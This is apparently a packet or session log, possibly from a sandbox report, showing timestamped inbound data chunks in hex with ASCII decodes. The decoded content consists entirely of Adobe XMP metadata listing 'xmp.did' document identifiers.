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2022-08-11 03:42:55 UTC 5468 IN Data Raw: 42 34 46 39 31 38 35 42 41 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 30 43 42 43 44 36 33 34 34 32 32 36 36 38 31 31 38 32 32 41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 43 43 45 37 31 39 38 41 37 35 33 31 31 45 31 39 45 43 
42 42 36 32 44 35 46 42 39 46 33 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 3
0 43 45 31 30 30 39 46 31 37 32 30 36 38 31 31 39 37 45 32 42 46 39 30 39 42 34 31 36 41 41 33 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 43 45 39 44 41 39 35 33 35 32 30 36 38 31 31 41 39 42 35 39 
38 36 35 46 39 46 31 35 36 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
Data Ascii: B4F9185BA73</rdf:li> <rdf:li>xmp.did:0CBCD63442266811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.did:0CC
E7198A75311E19ECBB62D5FB9F3B7</rdf:li> <rdf:li>xmp.did:0CE1009F1720681197E2BF909B416AA3</rdf:li> <rd
f:li>xmp.did:0CE9DA9535206811A9B59865F9F1562B</rdf:li> <r

2022-08-11 03:42:55 UTC 5472 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 30 30 63 32 66 66 31 2d 30 61 
32 30 2d 34 38 63 65 2d 39 39 62 38 2d 65 33 31 32 31 35 66 33 65 31 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 30 32 42 37 45 43 45 41 30 45 43 45 33 31 31 39 31 38 30 38 38 44 36 46 43 41 
37 38 41 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 30 33 30 36 64 34 61 2
d 31 64 31 64 2d 34 63 62 39 2d 39 62 63 32 2d 66 33 64 31 37 66 65 63 61 65 66 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 30 33 33 32 64 62 65 2d 33 33 32 37 2d 34 64 65 37 2d 62 36 64 61 2d 35 
61 37 32 61 34 32 36 35 31 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
Data Ascii: /rdf:li> <rdf:li>xmp.did:100c2ff1-0a20-48ce-99b8-e31215f3e168</rdf:li> <rdf:li>xmp.did:102B7ECEA0E
CE311918088D6FCA78A35</rdf:li> <rdf:li>xmp.did:10306d4a-1d1d-4cb9-9bc2-f3d17fecaefe</rdf:li> <rdf:li>xmp.did:1
0332dbe-3327-4de7-b6da-5a72a4265188</rdf:li> <r

2022-08-11 03:42:55 UTC 5488 IN Data Raw: 34 37 45 41 43 31 39 46 36 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 32 30 45 30 33 31 35 38 35 41 32 39 45 35 31 31 42 37 42 30 39 30 39 44 38 36 34 35 36 43 35 37 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 45 30 39 32 43 37 41 31 32 32 36 38 31 31 39 39 34 
43 41 30 45 36 41 42 31 43 31 35 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 3
2 30 45 37 42 42 45 33 32 30 44 38 31 31 36 38 39 45 36 31 45 31 31 31 36 30 32 45 42 34 44 32 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 45 37 42 42 45 38 32 30 44 38 31 31 36 38 39 45 36 31 45 
31 31 31 36 30 32 45 42 34 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
Data Ascii: 47EAC19F65E</rdf:li> <rdf:li>xmp.did:20E031585A29E511B7B0909D86456C57</rdf:li> <rdf:li>xmp.did:20E
092C7A1226811994CA0E6AB1C1578</rdf:li> <rdf:li>xmp.did:20E7BBE320D811689E61E111602EB4D2</rdf:li> <rd
f:li>xmp.did:20E7BBE820D811689E61E111602EB4D2</rdf:li> <r

2022-08-11 03:42:55 UTC 5504 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 64 62 63 33 39 61 61 2d 62 31 31 
37 2d 34 66 35 61 2d 38 32 64 31 2d 38 36 62 36 61 30 66 65 39 64 64 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 32 64 65 32 30 33 32 33 2d 61 30 35 66 2d 34 33 30 64 2d 62 61 65 65 2d 37 35 35 38 
65 65 64 32 39 66 61 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 65 31 33 33 
30 30 31 2d 33 64 65 36 2d 30 64 34 65 2d 39 65 62 33 2d 65 39 33 64 66 34 30 36 62 38 33 33 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 65 33 61 33 32 33 37 2d 61 33 30 61 2d 34 63 39 65 2d 62 34 
31 32 2d 64 39 64 38 61 61 61 31 32 36 63 34 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: df:li> <rdf:li>xmp.did:2dbc39aa-b117-4f5a-82d1-86b6a0fe9dd8</rdf:li> <rdf:li>xmp.did:2de20323-a05f-430d-
baee-7558eed29faa</rdf:li> <rdf:li>xmp.did:2e133001-3de6-0d4e-9eb3-e93df406b833</rdf:li> <rdf:li>xmp.did:2e3a3237-
a30a-4c9e-b412-d9d8aaa126c4</rdf:li> 

2022-08-11 03:42:55 UTC 5511 IN Data Raw: 6d 70 2e 64 69 64 3a 33 36 35 30 65 63 35 32 2d 64 31 39 65 2d 34 65 35 32 2d 39 36 34 62 2d 34 33 62 38 
66 39 35 66 33 61 65 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 36 34 39 
42 33 34 37 41 30 45 44 45 31 31 39 44 45 35 38 32 44 41 44 39 31 39 35 39 35 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 37 37 31 35 41 37 31 31 32 30 36 38 31 31 39 37 41 35 38 38 34 46 45 
38 46 36 38 35 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 39 30 37 30 
65 39 2d 61 39 37 39 2d 39 64 34 34 2d 61 63 61 66 2d 36 64 38 39 37 31 39 30 34 65 63 66 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 39 33 65 31 30 32 
Data Ascii: mp.did:3650ec52-d19e-4e52-964b-43b8f95f3aee</rdf:li> <rdf:li>xmp.did:36649B347A0EDE119DE
582DAD9195950</rdf:li> <rdf:li>xmp.did:367715A71120681197A5884FE8F68509</rdf:li> <rdf:li>xmp.did:369070e9-a979-
9d44-acaf-6d8971904ecf</rdf:li> <rdf:li>xmp.did:3693e102

2022-08-11 03:42:55 UTC 5527 IN Data Raw: 44 35 41 42 39 45 31 31 31 38 37 43 34 43 39 32 43 31 33 39 44 44 41 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 35 32 42 32 42 34 30 31 41 32 30 36 38 31 31 38 30 38 33 38 30 36 34 
31 35 41 45 31 38 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 35 33 34 39 
30 44 30 39 30 31 41 45 32 31 31 38 37 36 31 45 38 45 46 42 33 36 37 44 39 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 35 36 32 31 30 41 35 41 39 32 31 36 38 31 31 38 30 38 33 45 31 44 43 46 
38 39 43 41 44 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 35 37 32 35 37 
46 36 31 34 32 30 36 38 31 31 38 44 42 42 43 39 35 31 43 32 42 30 33 31 
Data Ascii: D5AB9E11187C4C92C139DDA48</rdf:li> <rdf:li>xmp.did:452B2B401A2068118083806415AE183A</rdf:li> 
<rdf:li>xmp.did:453490D0901AE2118761E8EFB367D965</rdf:li> <rdf:li>xmp.did:456210A5A92168118083E
1DCF89CAD76</rdf:li> <rdf:li>xmp.did:457257F6142068118DBBC951C2B031

2022-08-11 03:42:55 UTC 5543 IN Data Raw: 32 32 36 38 31 31 38 32 32 41 44 30 37 43 37 43 43 34 33 38 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 34 32 46 46 36 32 41 32 30 32 30 36 38 31 31 39 32 42 30 46 44 42 33 43 42 39 
43 43 39 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 34 35 34 36 46 44 44 
31 33 32 30 36 38 31 31 39 32 42 30 42 41 41 39 30 34 44 45 30 46 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 78 6d 70 2e 64 69 64 3a 35 34 35 36 46 44 42 38 32 34 39 32 45 32 31 31 42 33 45 45 44 42 30 43 42 38 36 38 
38 44 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 34 35 39 35 37 65 37 2d 
62 31 62 66 2d 34 66 64 32 2d 38 37 63 32 2d 37 32 31 66 64 30 30 34 63 
Data Ascii: 226811822AD07C7CC438D7</rdf:li> <rdf:li>xmp.did:542FF62A2020681192B0FDB3CB9CC902</rdf:li> 
<rdf:li>xmp.did:54546FDD1320681192B0BAA904DE0F8D</rdf:li> <rdf:li>xmp.did:5456FDB82492E211B3EEDB0C
B8688D94</rdf:li> <rdf:li>xmp.did:545957e7-b1bf-4fd2-87c2-721fd004c

2022-08-11 03:42:55 UTC 5551 IN Data Raw: 39 42 46 37 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 38 35 
39 31 39 30 35 43 32 31 36 38 31 31 41 37 42 41 42 38 44 32 41 32 33 31 36 45 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 39 39 32 32 46 44 33 44 32 30 36 38 31 31 41 42 30 38 38 41 31 38 
34 32 37 43 38 39 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 41 33 39 4
1 41 46 31 45 32 30 36 38 31 31 39 30 44 45 45 37 39 44 32 41 31 41 34 42 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 41 42 38 33 37 33 30 44 32 42 36 38 31 31 41 42 30 38 38 39 43 36 38 
44 38 34 46 45 35 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: 9BF7B0</rdf:li> <rdf:li>xmp.did:5D8591905C216811A7BAB8D2A2316EE5</rdf:li> <rdf:li>xmp.did:5D9922FD
3D206811AB088A18427C89C8</rdf:li> <rdf:li>xmp.did:5DA39AAF1E20681190DEE79D2A1A4B6C</rdf:li> <rdf:li>
xmp.did:5DAB83730D2B6811AB0889C68D84FE50</rdf:li> <rdf:li
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2022-08-11 03:42:55 UTC 5567 IN Data Raw: 44 41 34 39 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 42 42 
41 38 35 31 30 45 37 32 45 38 31 31 38 44 33 43 41 36 35 30 45 43 35 33 41 41 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 42 45 41 34 45 30 30 45 32 30 36 38 31 31 41 42 30 38 45 41 43 46 
43 36 39 44 46 39 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 43 39 32 3
6 42 39 37 35 44 46 45 35 31 31 38 36 31 35 43 31 33 45 35 38 42 42 32 44 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 44 33 45 45 38 30 31 32 32 31 36 38 31 31 39 32 42 30 46 46 35 36 43 
33 43 46 41 42 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: DA49C7</rdf:li> <rdf:li>xmp.did:6BBBA8510E72E8118D3CA650EC53AA58</rdf:li> <rdf:li>xmp.di
d:6BBEA4E00E206811AB08EACFC69DF9C8</rdf:li> <rdf:li>xmp.did:6BC926B975DFE5118615C13E58BB2D7F</rdf:li> 
<rdf:li>xmp.did:6BD3EE801221681192B0FF56C3CFAB21</rdf:li> <rdf:li

2022-08-11 03:42:55 UTC 5571 IN Data Raw: 61 36 63 61 34 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 64 31 32 
33 36 65 34 2d 64 31 35 62 2d 37 65 34 36 2d 62 32 30 65 2d 35 36 35 39 31 39 64 62 35 62 31 39 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 64 31 63 65 31 64 65 2d 39 35 33 39 2d 34 33 34 34 2d 39 
33 39 35 2d 31 30 37 34 64 35 36 66 34 30 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 6
9 64 3a 36 64 32 66 64 35 30 63 2d 62 38 31 65 2d 61 31 34 61 2d 62 65 39 39 2d 39 63 61 31 64 62 32 31 39 32 62 37 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 64 35 33 66 30 39 31 2d 31 39 36 39 
2d 34 35 32 37 2d 62 39 32 32 2d 35 65 38 38 33 31 32 34 31 38 39 61 3c 
Data Ascii: a6ca4f</rdf:li> <rdf:li>xmp.did:6d1236e4-d15b-7e46-b20e-565919db5b19</rdf:li> <rdf:li>xmp.did:6d1ce1de-
9539-4344-9395-1074d56f4073</rdf:li> <rdf:li>xmp.did:6d2fd50c-b81e-a14a-be99-9ca1db2192b7</rdf:li> <rdf:li>xmp.did:
6d53f091-1969-4527-b922-5e883124189a<

2022-08-11 03:42:55 UTC 5587 IN Data Raw: 37 62 31 33 30 64 34 31 2d 38 62 37 63 2d 34 30 36 34 2d 38 32 65 34 2d 64 64 65 33 63 34 39 30 30 37 62 
30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 62 31 66 36 65 39 33 2d 66 38 33 
30 2d 32 34 34 63 2d 62 62 34 66 2d 39 36 32 37 37 61 63 37 35 30 31 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 78 6d 70 2e 64 69 64 3a 37 62 35 33 63 36 65 37 2d 36 62 34 35 2d 34 63 31 62 2d 61 39 65 63 2d 34 34 30 65 
35 32 32 66 35 31 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 62 35 36 35 
63 30 37 2d 35 39 30 34 2d 34 39 32 38 2d 61 34 36 36 2d 39 35 35 64 33 37 62 66 37 39 33 39 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 62 66 35 33 35 66 
Data Ascii: 7b130d41-8b7c-4064-82e4-dde3c49007b0</rdf:li> <rdf:li>xmp.did:7b1f6e93-f830-244c-bb4f-96277ac7501a
</rdf:li> <rdf:li>xmp.did:7b53c6e7-6b45-4c1b-a9ec-440e522f5129</rdf:li> <rdf:li>xmp.did:7b565c07-5904-4928-a466-
955d37bf7939</rdf:li> <rdf:li>xmp.did:7bf535f

2022-08-11 03:42:55 UTC 5603 IN Data Raw: 34 41 46 39 44 32 37 33 35 41 34 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 38 44 46 33 37 31 34 33 39 38 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 45 30 36 46 32 38 37 43 42 32 30 36 38 31 31 38 
41 36 44 39 39 30 33 46 36 36 44 38 35 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 6
4 3a 38 45 30 42 34 44 31 35 36 45 32 30 36 38 31 31 39 37 41 35 38 42 32 39 34 44 35 46 39 44 35 38 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 45 32 45 30 36 34 39 30 42 32 30 36 38 31 31 38 41 
36 44 44 35 39 43 30 38 34 43 38 32 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: 4AF9D2735A483</rdf:li> <rdf:li>xmp.did:8DF3714398226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:8
E06F287CB2068118A6D9903F66D8554</rdf:li> <rdf:li>xmp.did:8E0B4D156E20681197A58B294D5F9D58</rdf:li> <
rdf:li>xmp.did:8E2E06490B2068118A6DD59C084C826C</rdf:li> 

2022-08-11 03:42:55 UTC 5611 IN Data Raw: 30 31 31 39 44 42 43 41 30 35 37 33 31 32 45 38 44 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 39 33 32 31 45 45 30 31 44 44 46 41 45 34 31 31 38 45 36 34 46 32 30 31 45 30 30 45 45 43 
32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 33 32 36 44 34 41 43 31 42 32 
30 36 38 31 31 38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 7
8 6d 70 2e 64 69 64 3a 39 33 33 33 32 36 33 38 30 38 32 30 36 38 31 31 38 32 32 41 44 35 36 41 36 32 32 39 38 35 42 
31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 33 33 33 34 45 33 35 38 41 32 41 
36 38 31 31 39 39 34 43 41 30 45 36 41 42 31 43 31 35 37 38 3c 2f 72 64 
Data Ascii: 0119DBCA057312E8D83</rdf:li> <rdf:li>xmp.did:9321EE01DDFAE4118E64F201E00EEC2A</rdf:li> <
rdf:li>xmp.did:9326D4AC1B2068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.did:9333263808206811822AD56A622
985B1</rdf:li> <rdf:li>xmp.did:93334E358A2A6811994CA0E6AB1C1578</rd

2022-08-11 03:42:55 UTC 5627 IN Data Raw: 35 45 43 31 44 31 30 41 31 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 41 33 42 33 30 38 43 39 33 38 32 30 36 38 31 31 41 37 42 41 43 35 36 42 46 44 39 33 39 30 30 33 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 33 42 35 33 41 35 35 34 30 32 30 36 38 31 31 41 44 41 
35 38 34 31 30 34 41 30 45 30 31 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 4
1 33 42 36 41 43 44 32 44 31 33 33 45 30 31 31 42 31 34 44 38 31 35 43 31 36 42 37 43 32 43 44 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 33 46 32 45 37 30 33 41 39 32 36 45 31 31 31 39 33 46 46 43 
31 31 30 46 34 46 36 46 35 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
Data Ascii: 5EC1D10A162</rdf:li> <rdf:li>xmp.did:A3B308C938206811A7BAC56BFD939003</rdf:li> <rdf:li>xmp.did:A3B
53A5540206811ADA584104A0E01BC</rdf:li> <rdf:li>xmp.did:A3B6ACD2D133E011B14D815C16B7C2CD</rdf:li> <rd
f:li>xmp.did:A3F2E703A926E11193FFC110F4F6F54D</rdf:li> <r

2022-08-11 03:42:55 UTC 5643 IN Data Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 34 42 31 33 34 35 33 45 32 33 36 38 31 31 41 39 46 42 46 39 
34 36 33 33 34 30 44 39 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 35 
36 37 37 41 41 39 30 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 35 44 38 35 30 30 37 36 33 35 31 31 44 46 42 38 32 33 46 31 43 
43 42 38 41 41 30 34 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 35 44 
38 35 30 34 37 36 33 35 31 31 44 46 42 38 32 33 46 31 43 43 42 38 41 41 30 34 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 35 44 43 38 44 46 33 35 
Data Ascii: f:li>xmp.did:BC4B13453E236811A9FBF9463340D9D1</rdf:li> <rdf:li>xmp.did:BC5677AA902068118
083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:BC5D8500763511DFB823F1CCB8AA04F4</rdf:li> <rdf:li>xmp.did:B
C5D8504763511DFB823F1CCB8AA04F4</rdf:li> <rdf:li>xmp.did:BC5DC8DF35

2022-08-11 03:42:55 UTC 5650 IN Data Raw: 6d 70 2e 64 69 64 3a 43 38 30 37 45 35 46 35 31 41 32 30 36 38 31 31 39 39 34 43 39 35 43 44 39 33 32 32 
41 43 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 38 30 38 36 44 30 38 41 
42 32 31 36 38 31 31 38 30 38 33 45 31 44 43 46 38 39 43 41 44 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 78 6d 70 2e 64 69 64 3a 43 38 32 34 46 31 43 46 30 45 38 45 45 30 31 31 41 45 33 37 46 42 33 38 36 34 46 35 31 
37 46 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 38 32 35 46 34 42 46 30 39 
32 30 36 38 31 31 41 38 38 44 42 30 44 31 33 44 44 43 37 44 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 43 38 37 36 31 36 42 31 34 42 32 36 36 38 31 31 
Data Ascii: mp.did:C807E5F51A206811994C95CD9322AC78</rdf:li> <rdf:li>xmp.did:C8086D08AB2168118083E1D
CF89CAD76</rdf:li> <rdf:li>xmp.did:C824F1CF0E8EE011AE37FB3864F517F1</rdf:li> <rdf:li>xmp.did:C825F4B
F09206811A88DB0D13DDC7D9E</rdf:li> <rdf:li>xmp.did:C87616B14B266811
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2022-08-11 03:42:55 UTC 5666 IN Data Raw: 44 42 42 43 38 34 34 33 43 39 32 30 36 38 31 31 38 41 36 44 39 39 30 33 46 36 36 44 38 35 35 34 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 42 43 38 30 44 38 41 39 36 32 30 36 38 31 31 
38 37 31 46 44 43 45 30 41 31 37 42 46 45 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 6
9 64 3a 44 42 45 46 45 42 44 30 30 37 32 30 36 38 31 31 38 43 31 34 41 46 43 38 42 32 37 31 30 30 33 34 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 43 33 41 30 41 32 33 44 41 39 35 44 46 31 31 39 
37 31 30 44 31 42 37 41 33 34 33 46 44 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 44 43 34 41 37 32 36 38 43 45 35 43 45 31 31 31 41 36 34 35 39 46 33 
Data Ascii: DBBC8443C92068118A6D9903F66D8554</rdf:li> <rdf:li>xmp.did:DBC80D8A96206811871FDCE0A17BFE
B0</rdf:li> <rdf:li>xmp.did:DBEFEBD0072068118C14AFC8B2710034</rdf:li> <rdf:li>xmp.did:DC3A0A23DA95DF
119710D1B7A343FD92</rdf:li> <rdf:li>xmp.did:DC4A7268CE5CE111A6459F3

2022-08-11 03:42:55 UTC 5670 IN Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 31 34 42 44 46 33 35 33 42 
32 33 36 38 31 31 38 32 32 41 44 30 37 43 37 43 43 34 33 38 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 45 31 36 30 39 46 41 35 36 43 32 30 36 38 31 31 41 43 37 35 44 34 45 34 41 31 32 37 46 42 
42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 31 36 36 44 41 43 42 30 37 32 3
0 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 45 31 37 35 44 45 36 34 39 35 32 30 36 38 31 31 38 32 32 41 44 38 34 42 34 41 39 33 39 46 32 31 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
Data Ascii: </rdf:li> <rdf:li>xmp.did:E14BDF353B236811822AD07C7CC438D7</rdf:li> <rdf:li>xmp.did:E1609FA56C2068
11AC75D4E4A127FBB2</rdf:li> <rdf:li>xmp.did:E166DACB0720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.di
d:E175DE6495206811822AD84B4A939F21</rdf:li> <rdf:li>xmp.d

2022-08-11 03:42:55 UTC 5686 IN Data Raw: 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 46 41 37 41 43 33 32 44 36 36 30 41 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 46 
36 32 46 43 42 46 32 46 44 33 33 39 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3
a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 30 32 37 38 39 41 46 39 46 42 37 36 31 36 45 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 30 39 38 
41 37 37 31 38 44 44 32 45 42 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 
37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 39 46 41 36 43 
Data Ascii: 7F1174072068118F62FA7AC32D660A</rdf:li> <rdf:li>xmp.did:F77F1174072068118F62FCBF2FD33937
